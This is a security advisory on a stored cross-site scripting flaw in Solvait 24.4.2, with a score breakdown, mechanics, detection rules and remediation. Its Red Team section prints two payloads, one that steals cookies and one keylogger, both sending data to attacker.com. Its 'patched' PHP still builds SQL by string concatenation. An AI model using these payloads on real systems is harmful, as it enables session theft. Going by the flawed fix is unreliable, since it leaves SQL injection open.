CVE-2024-45920

Executive Summary

CVE-2024-45920 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Solvait version 24.4.2. The flaw resides in the "Intrest" feature, where insufficient input validation and sanitization allow remote attackers to inject and store malicious scripts. When an authenticated user views the affected page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further client-side attacks. The vulnerability is publicly known but remains unpatched by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a web application vulnerability in a proprietary software product (Solvait). No supply chain package security implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a valid user account.
• User Interaction: Required (UI:R) – victim must view the malicious content.
• Scope: Changed (S:C) – the vulnerability impacts resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of data.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability exists in the "Intrest" feature of Solvait 24.4.2. This feature likely allows users to submit or update interest tags or categories. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in a web page.

Attack Flow:

1. An authenticated attacker navigates to the "Intrest" input field.
2. The attacker submits a payload such as <script>alert('XSS')</script> or a more sophisticated payload for session theft.
3. The application stores the malicious input without proper encoding or sanitization.
4. When another user (or the same user) views the page displaying the "Intrest" data, the browser executes the injected script.
5. The script can perform actions like stealing cookies, redirecting to phishing pages, or performing actions on behalf of the victim.

Root Cause: Lack of output encoding and insufficient input validation. The application likely uses a rich text editor or plain text field without applying context-aware escaping (e.g., HTML entity encoding) before rendering.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (Conceptual):

// Storing user input without sanitization
$interest = $_POST['interest'];
$db->query("INSERT INTO interests (user_id, interest) VALUES ($user_id, '$interest')");

// Rendering without encoding
echo "<div class='interest'>" . $row['interest'] . "</div>";

Patched Code (Conceptual):

// Sanitize input using a whitelist or encoding
$interest = htmlspecialchars($_POST['interest'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO interests (user_id, interest) VALUES ($user_id, '$interest')");

// Output encoding
echo "<div class='interest'>" . htmlspecialchars($row['interest'], ENT_QUOTES, 'UTF-8') . "</div>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user account on Solvait 24.4.2.
• Access to the "Intrest" feature.

Exploitation Steps:

1. Log in to Solvait.
2. Navigate to the "Intrest" input field.
3. Inject a payload such as:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Wait for an administrator or other user to view the page containing the malicious interest.
6. The victim's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team

Detection:

• Monitor for unusual input patterns in the "Intrest" field (e.g., <script>, onerror=, javascript:).
• Review web server logs for requests containing XSS payloads.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation (whitelist allowed characters).
• Implement output encoding (HTML entity encoding).
• Use Content Security Policy (CSP) headers to restrict script execution.
• Conduct code review and penetration testing.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Suspicious POST requests to /log.php or similar endpoints.
• Host IOCs:
  • Presence of <script> tags in the database interests table.
  • Unexpected JavaScript files or inline scripts in the application.
• Log IOCs:
  • Web server logs showing requests with %3Cscript%3E or similar URL-encoded XSS payloads.
  • Application logs showing failed validation attempts for the "Intrest" field.

Detection Engineering

YARA Rule

rule Detect_Solvait_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Solvait Intrest feature"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45920"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Solvait Intrest Feature
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Solvait application logs
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: solvait
detection:
    selection:
        EventID: 1001
        Data|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in rich text editors (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45920 Solvait Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/interest"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the "Intrest" feature if not critical to business operations.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Apply input validation – allow only alphanumeric characters and spaces in the "Intrest" field.
4. Use output encoding – ensure all user-supplied data is HTML-entity encoded before rendering.

Long-Term Fixes:

• Vendor Patch: Await an official patch from Solvait. If none is forthcoming, consider migrating to an alternative solution.
• Code Hardening: If source code is available, implement proper sanitization using libraries like OWASP Java Encoder or PHP's htmlspecialchars.
• Security Training: Educate developers on secure coding practices, especially regarding XSS prevention.

Workaround:

• Configure a Content Security Policy (CSP) header to restrict script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

Valters IT
Securing Digital Frontiers